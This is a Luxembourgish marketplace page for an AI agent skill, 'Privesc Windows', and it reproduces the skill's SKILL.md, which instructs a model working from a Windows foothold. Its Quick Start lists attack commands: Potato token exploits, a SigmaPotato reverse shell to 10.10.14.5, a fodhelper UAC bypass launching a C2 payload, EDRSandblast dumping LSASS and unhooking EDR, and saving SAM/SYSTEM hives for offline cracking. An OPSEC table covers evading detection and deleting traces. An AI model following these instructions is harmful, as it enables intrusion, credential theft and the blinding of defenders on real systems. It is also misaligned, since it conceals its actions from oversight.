Logo: Privesc Windows

Privesc Windows

Communautéit
hypnguyen1209
privesc-windows

Benotzt dës Skill, wann Dir op engem Windows-Host Är Privilegie erhéicht — SeImpersonate-Potato-Ketten (GodPotato/PrintNotifyPotato), Hijacking vu Servicer an DLLen, UAC-Bypass (fodhelper/ICMLuaUtil), Kernel-EoP + BYOVD (CVE-2025-29824), Mëssbrauch vun Token-Rechter, Erfaasse vu Credentials aus LSASS/SAM/DPAPI

Add to TypingMind

Iwwersiicht

Editeurhypnguyen1209
Repositoryoffensive-claude
Skill-Nummprivesc-windows
Stären
396
Forks
71
Matgeliwwert Dateien
11
LizenzMIT
Linken
  • Instruktiounen am Markdown-Format

    Eng SKILL.md-Datei, déi de Modell bei Bedarf luet, soudatt nëmmen Token ufalen, wann eng Ufro tatsächlech dozou passt.

  • Funktionéiert mat all LLM

    KI-Skills si reng Markdown, keen ubidderspezifesche Code. Dofir funktionéiert dëse Skill mat GPT, Claude, Gemini, Grok oder engem lokale Modell.

  • 11 matgeliwwert Dateien

    Skripten, Virlagen a Referenzen, déi de Modell beim Schaffe liese kann. D'Dateie kënnen nëmme gelies ginn a ginn ni ausgeféiert.

  • Open Source

    hypnguyen1209 huet de Skill op GitHub verëffentlecht. Liest de Quelltext, ier Dir de Skill installéiert.

Installatioun

Installéiert de KI-Skill Privesc Windows an TypingMind, fir e mat all LLM ze benotzen, oder setzt en an en anere KI-Agent an, deen SKILL.md liest.

1

An TypingMind installéieren

TypingMind installéiert e Skill direkt aus sengem GitHub-Dossier — dobäi gëtt SKILL.md gelies, d'Ressourcedateie gi gebëndelt an d'Resultat gëtt lokal gespäichert.

  1. Maacht d'App op a gitt op Plugins → Skills.
  2. Wielt „Vu GitHub installéieren“.
  3. Pecht d'URL vum Skill-Dossier, déi hei drënner steet, an a bestätegt d'Installatioun.
    https://github.com/hypnguyen1209/offensive-claude/tree/main/skills/privesc-windows
  4. Aktivéiert de Skill an all Chat, an deem Dir e benotze wëllt.
Plugins → Skills → Skill derbäisetzen → Iwwer eng GitHub-URL. Pecht dann d'URL vum Dossier an a klickt op Weider.
2

An engem anere KI-Agent installéieren

All KI-Agent, deen d'Format Agent Skills liest, kann dëse Skill benotzen — kopéiert den Dossier an d'Skill-Verzeechnes vun deem KI-Agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude.git /tmp/offensive-claude
mkdir -p .claude/skills
cp -r /tmp/offensive-claude/skills/privesc-windows .claude/skills/privesc-windows
Start Claude Code nom Kopéieren nei, fir datt den neie Skill erkannt gëtt.

An TypingMind benotzen

Aktivéiert Privesc Windows an engem Chat vun TypingMind, an de Modell iwwerhëlt de Rescht. Den Numm an d'Beschreiwung stinn am System-Prompt. Soubal eng Ufro dozou passt, luet de Modell déi komplett Instruktioune selwer — Dir musst de Skill ni manuell opruffen, an et fale keng Token un, bis en tatsächlech benotzt gëtt.

De Modell luet Privesc Windows automatesch, soubal eng Ufro dozou passt.

Funktionéiert mat all KI-Modell

KI-Skills si reng Markdown-Instruktiounen amplaz vun ubidderspezifeschem Code. Dofir ass Privesc Windows net un de Modell gebonnen, fir deen de Skill geschriwwe gouf. Installéiert en eemol an TypingMind a benotzt e mat GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama oder engem lokale Modell, deen Dir selwer bedreift — alles mat Ären eegenen API-Schlësselen.

  • Gëtt nëmme gelueden, wann et néideg ass

    De System-Prompt enthält nëmmen den Numm an d'Beschreiwung. D'Instruktioune gi bei der éischter passender Ufro gelueden, soudatt en onbenotzte Skill näischt kascht.

  • De Modell am lafende Chat wiesselen

    Well de Skill aus Instruktiounen amplaz vu Code besteet, funktionéiert en och no engem Modellwiessel — den nächste Modell liest déi selwecht SKILL.md-Datei.

Skill-Instruktiounen

Dëst ass den Inhalt vu SKILL.md, deen de Modell luet. Liest e virun der Installatioun — e Skill besteet aus Instruktiounen, déi Äre Modell befollegt.

Windows Privilege Escalation

When to Activate

  • Gained an initial shell / foothold on Windows and need to reach Administrator or NT AUTHORITY\SYSTEM
  • Shell runs as a service account (IIS APPPOOL, MSSQL, Local/Network Service) holding SeImpersonatePrivilege
  • Standard-user → admin via UAC bypass (medium → high integrity) on a local-admin-group member
  • Service / DLL / scheduled-task misconfiguration hunting on the host
  • Kernel EoP via an unpatched local CVE or Bring-Your-Own-Vulnerable-Driver (admin → kernel/PPL)
  • Privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug)
  • Local credential harvesting (LSASS, SAM/SYSTEM, DPAPI) to fuel lateral movement

Technique Map

TechniqueATT&CKCWEReferenceScript
Automated enumeration (winPEAS/Seatbelt/PrivescCheck)T1082, T1518CWE-1188references/enumeration-triage.mdscripts/win_privesc_triage.ps1
Token-privilege triage + FullPowers recoveryT1134.001CWE-269references/enumeration-triage.mdscripts/win_privesc_triage.ps1
SeImpersonate Potato (GodPotato/SigmaPotato/PrintNotify)T1134.001, T1134.002CWE-269references/token-impersonation-potatoes.mdscripts/check_potato.py
Named-pipe / token impersonation primitivesT1134.001CWE-269references/token-impersonation-potatoes.mdscripts/check_potato.py
Unquoted service pathT1574.009CWE-428references/service-dll-hijacking.mdscripts/service_hijack_audit.ps1
Weak service ACL / SERVICE_CHANGE_CONFIGT1543.003CWE-732references/service-dll-hijacking.mdscripts/service_hijack_audit.ps1
DLL / phantom DLL hijack (CVE-2025-1729, CVE-2024-28827)T1574.001, T1574.010CWE-427references/service-dll-hijacking.mdscripts/service_hijack_audit.ps1
UAC bypass — fodhelper/computerdefaults/eventvwrT1548.002CWE-269references/uac-bypass.mdscripts/uac_bypass.ps1
UAC bypass — ICMLuaUtil / IEditionUpgradeManager COMT1548.002CWE-269references/uac-bypass.mdscripts/uac_bypass.ps1
AlwaysInstallElevated MSIT1548.002CWE-250references/uac-bypass.mdscripts/uac_bypass.ps1
Kernel EoP CVE (CLFS CVE-2025-29824/32701; CVE-2025-62215)T1068CWE-416, CWE-362references/kernel-byovd.mdscripts/byovd_loader.c
BYOVD admin→kernel / EDR-blind (CVE-2025-7771, EDRSandblast)T1068, T1562.001CWE-782references/kernel-byovd.mdscripts/byovd_loader.c
Privileged token rights (SeBackup/SeRestore/SeLoadDriver/SeDebug)T1134, T1068CWE-269references/kernel-byovd.mdscripts/byovd_loader.c
LSASS dump (comsvcs / PssCaptureSnapshot / nanodump)T1003.001CWE-522references/credential-harvesting.md-
SAM/SYSTEM + VSS offline secretsdumpT1003.002CWE-522references/credential-harvesting.md-
DPAPI / credential vault / browser secretsT1555.004, T1555.003CWE-522references/credential-harvesting.md-

Quick Start

powershell
# 0. Identity + token rights — this decides the whole strategy
whoami /priv /groups
powershell -ep bypass -File scripts/win_privesc_triage.ps1 -Quick

# 1. Full automated enumeration (pick the AV-safest)
.\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report pc_%COMPUTERNAME% -Format TXT,HTML
.\Seatbelt.exe -group=all -full        # build it yourself; do not trust prebuilt binaries
.\winPEASany_ofs.bat                    # .bat variant is less AV-flagged than the .exe

# 2a. Service-account shell with SeImpersonate* -> Potato to SYSTEM
python3 scripts/check_potato.py --priv "$(whoami /priv)"   # picks the right Potato for the host
.\GodPotato-NET4.exe -cmd "cmd /c whoami"                  # Server 2012-2022, no outbound
.\SigmaPotato.exe --revshell 10.10.14.5 443                # fileless .NET-reflection variant
# stripped token (Local/Network Service)? recover privileges first:
.\FullPowers.exe -c "C:\Windows\Tasks\GodPotato-NET4.exe -cmd cmd" -z

# 2b. No SeImpersonate -> hunt service/DLL/scheduled-task misconfig
powershell -ep bypass -File scripts/service_hijack_audit.ps1   # unquoted/weak-ACL/writable-bin/PATH

# 2c. Standard user in local-admin group, UAC on -> bypass to high integrity
powershell -ep bypass -File scripts/uac_bypass.ps1 -Method fodhelper -Payload "cmd.exe /c <c2>"

# 2d. Already admin -> kernel/PPL via BYOVD; then harvest creds
#     (verify driver is NOT on Microsoft blocklist for the build first)
.\EDRSandblast.exe --kernelmode dump_lsass --usermode unhook

# 3. Credentials (run from SYSTEM/admin) — see references/credential-harvesting.md for the PssCaptureSnapshot
#    / comsvcs MiniDump / nanodump tradecraft and OPSEC (parse the dump OFF-host).
pypykatz lsa minidump lsass.dmp                           # parse an acquired dump offline, off-host
reg save HKLM\SAM sam.bak & reg save HKLM\SYSTEM sys.bak  # impacket-secretsdump -sam sam.bak -system sys.bak LOCAL

OPSEC & Detection (summary)

TechniqueTelemetry / IOCDetection (Sigma / EDR)OPSEC note
winPEAS/Seatbelt enumMass reg/WMI/service queries; winPEAS.exe on disk (heavily AV-flagged)EDR hacktool sigs on winPEAS/Seatbelt names+hashesBuild Seatbelt yourself; prefer .bat/obfuscated winPEAS or PrivescCheck.ps1 in-memory
Potato (Impersonate)DCOM/OXID RPC, named-pipe create; SYSTEM child of IIS/MSSQL workerSigma win_susp_potato; 4674/4688 child SYSTEM under w3wp/sqlservrMatch the COM/RPC surface left open; PrintNotifyPotato avoids RPC redirector that Defender blocks
Service hijack7045 service install; sc config binpath change; service binary writeSigma win_susp_service_path/sc_config; 4697/7045 + new binary hashRestore original binPath/binary after; stage payload outside C:\Windows
DLL/phantom hijackNon-MS DLL loaded by SYSTEM process from writable/ProgramData/%PATH% dirElastic phantom_dll; Sysmon EID 7 unsigned DLL in odd pathProxy the real DLL to keep app stable; clean the planted DLL post-exec
UAC bypassHKCU ms-settings/mscfile shell\open\command writes; fodhelper child cmdElastic LUA://HdAutoAp token attr; Sigma fodhelper/eventvwr reg hijackUse reg symlink + key rename (UACME m3.5+); delete HKCU keys immediately after trigger
Kernel EoP / BYOVDNew 3rd-party .sys load (7045/6); SYSTEM token on low-priv proc; EDR driver unloadSigma vuln_driver_load; MS Vulnerable Driver Blocklist; ETWTi token-swapDriver load is loud + persistent — confirm not blocklisted; unload + delete .sys; restore LSTAR/MSR
LSASS dumpHandle to lsass w/ PROCESS_VM_READ/DUP; comsvcs MiniDump cmdline; .dmp on diskSysmon EID 10 callstack dbghelp/dbgcore; Splunk comsvcs MiniDump; Elastic PssCaptureSnapshotUse snapshot/handle-dup + parse off-host; avoid lsass.dmp literal name; clean the dump
SAM/VSSreg save HKLM\SAM; vssadmin create shadow; GLOBALROOT copiesSigma reg_save_sam; 8222 VSS; vssadmin process creationDelete shadow + .bak hives; parse offline with secretsdump LOCAL
DPAPI/vaultReads of \Microsoft\Protect\* masterkeys + \Credentials\* blobsEDR access to DPAPI dirs; lsass dpapi:: callsDecrypt off-host with masterkey/domain backup key; touch only target user's blobs

Deep Dives

  • references/enumeration-triage.md — Decision tree from whoami /priv + groups + integrity; winPEAS/Seatbelt/PrivescCheck/SharpUp usage and AV trade-offs; token-privilege classification table; FullPowers stripped-token recovery; autologon / stored-cred / GPP / scheduled-task XML enumeration.
  • references/token-impersonation-potatoes.md — Token model (primary vs impersonation, levels), the full 2024-2026 Potato family (GodPotato, SigmaPotato, PrintNotifyPotato, DCOMPotato, EfsPotato, RoguePotato, PrintSpoofer, JuicyPotatoNG), per-OS selection, named-pipe + DuplicateTokenEx/CreateProcessWithTokenW primitives, detection.
  • references/service-dll-hijacking.md — Unquoted service path (CWE-428), weak ACL / SERVICE_CHANGE_CONFIG / writable binary, DLL search order + KnownDLLs, phantom DLL hijack with real 2025 cases (CVE-2025-1729 Lenovo TPQM, CVE-2024-28827 Checkmk), DLL-proxy stub, scheduled-task abuse.
  • references/uac-bypass.md — Auto-elevated binary model; fodhelper/computerdefaults/eventvwr/sdclt registry hijacks; ICMLuaUtil & IEditionUpgradeManager COM elevation (2024-2025 status); SilentCleanup env-var hijack; AlwaysInstallElevated MSI; reg-symlink evasion; LUA://HdAutoAp detection.
  • references/kernel-byovd.md — 2025 kernel EoP CVEs (CLFS CVE-2025-29824 & CVE-2025-32701 in-the-wild, Win32k CVE-2025-24983, kernel race CVE-2025-62215); BYOVD theory + DSE/blocklist gap; LOLDrivers, EDRSandblast, GodFault/PPLFault driverless; MSR/LSTAR ring-0; privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug).
  • references/credential-harvesting.md — LSASS dumping (comsvcs LOLBin, PssCaptureSnapshot, handle-dup, nanodump, direct-syscall), PPL/RunAsPPL bypass, SAM/SYSTEM + VSS shadow copy, offline secretsdump/pypykatz, DPAPI masterkeys + domain backup key, browser/credential-vault secrets, detection per method.

Matgeliwwert Dateien

De Modell liest dës Dateie bei Bedarf, wärend de Skill gelueden ass. Si ginn als liesbar Dateie bereetgestallt a ginn ni ausgeféiert.

Heefeg gestallte Froen

Wat mécht de KI-Skill Privesc Windows?

Benotzt dës Skill, wann Dir op engem Windows-Host Är Privilegie erhéicht — SeImpersonate-Potato-Ketten (GodPotato/PrintNotifyPotato), Hijacking vu Servicer an DLLen, UAC-Bypass (fodhelper/ICMLuaUtil), Kernel-EoP + BYOVD (CVE-2025-29824), Mëssbrauch vun Token-Rechter, Erfaasse vu Credentials aus LSASS/SAM/DPAPI

Firwat Privesc Windows op TypingMind benotzen?

Well Dir en eemol installéiert a mat all Modell benotze kënnt. Privesc Windows besteet aus einfachem Markdown amplaz vun ubidderspezifeschem Code. Dee selwechte Skill funktionéiert also mat GPT-5, Claude, Gemini, Grok oder engem lokale Modell – an Dir kënnt de Modell matzen am Chat wiesselen, ouni datt de Skill ophält ze funktionéieren. TypingMind benotzt Är eegen API-Schlësselen, sou datt Dir d'Ubidder direkt bezuelt, amplaz en Abonnement pro Benotzerplaz ze bezuelen. Är Skills a Chats bleiwen an Ärem eegene Späicher.

Wéi installéieren ech Privesc Windows an TypingMind?

Maacht an TypingMind Plugins → Skills → Vu GitHub installéieren op a setzt https://github.com/hypnguyen1209/offensive-claude/tree/main/skills/privesc-windows an. TypingMind liest d'Datei SKILL.md, bëndelt déi zougehéiereg Dateien an installéiert dat Ganzt als Skill, deen Dir pro Chat aktivéiere kënnt.

Wéi eng KI-Modeller kënnen Privesc Windows benotzen?

All Modell, deen Dir an TypingMind verbënnt. KI-Skills sinn einfach Markdown-Instruktiounen an net ubidderspezifesche Code. Dofir kënne GPT, Claude, Gemini, Grok a lokal Modeller dëse Skill lueden, wann eng Ufro dozou passt.

Wéi vill KI-Modeller kann ech mat Privesc Windows benotzen?

Esou vill wéi Dir wëllt. Soulaang e Modell Skills ënnerstëtzt, kënnt Dir Privesc Windows domat benotzen – zum Beispill mat GPT, Claude, Gemini, Grok, DeepSeek, Mistral oder Llama – alles op TypingMind mat Ären eegenen API-Schlësselen.

Ass de KI-Skill Privesc Windows gratis?

Jo. hypnguyen1209 huet de Skill ënner der Lizenz MIT op GitHub publizéiert. Dir bezuelt nëmmen Ären eegene KI-Ubidder fir d'Token, déi Dir benotzt.

Wat si KI-Skills?

E KI-Skill ass e weiderverwendbare Pak vun Instruktiounen, deen engem KI-Modell bäibréngt, wéi en eng bestëmmt Aufgab erfëllt. E follegt dem oppenen Agent Skills-Format: eng Datei SKILL.md mat engem Numm an enger Beschreiwung, plus all Scripten, Virlagen oder Referenzdateien, déi de Modell eventuell brauch. De Modell liest d'Instruktiounen eréischt, wann Är Ufro zum Skill passt. En installéierte Skill kascht also näischt, bis e benotzt gëtt.

Wéi ënnerscheede sech KI-Skills vu Plugins oder MCP-Serveren?

E Plugin oder MCP-Server gëtt engem Modell nei Tools, déi en opruffe kann – Code, deen iergendwou leeft an e Resultat zeréckgëtt. E KI-Skill gëtt dem Modell dogéint Wëssen an eng Virgoensweis: wéi en eng Aufgab ugeet, wéi eng Schrëtt e maache soll a wéi eng gutt Ausgab ausgesäit. Skills bestinn aus einfachem Markdown, brauche kee Server, keen API-Schlëssel a kee Lafzäitëmfeld a funktionéiere mat all Modell.

Alleguer weisen

Elo Ären eegene KI-Aarbechtsberäich ariichten

Abonnéiert Iech op eisen Newsletter, fir iwwer nei Funktiounen an zukünfteg Gewënnspiller informéiert ze ginn 👇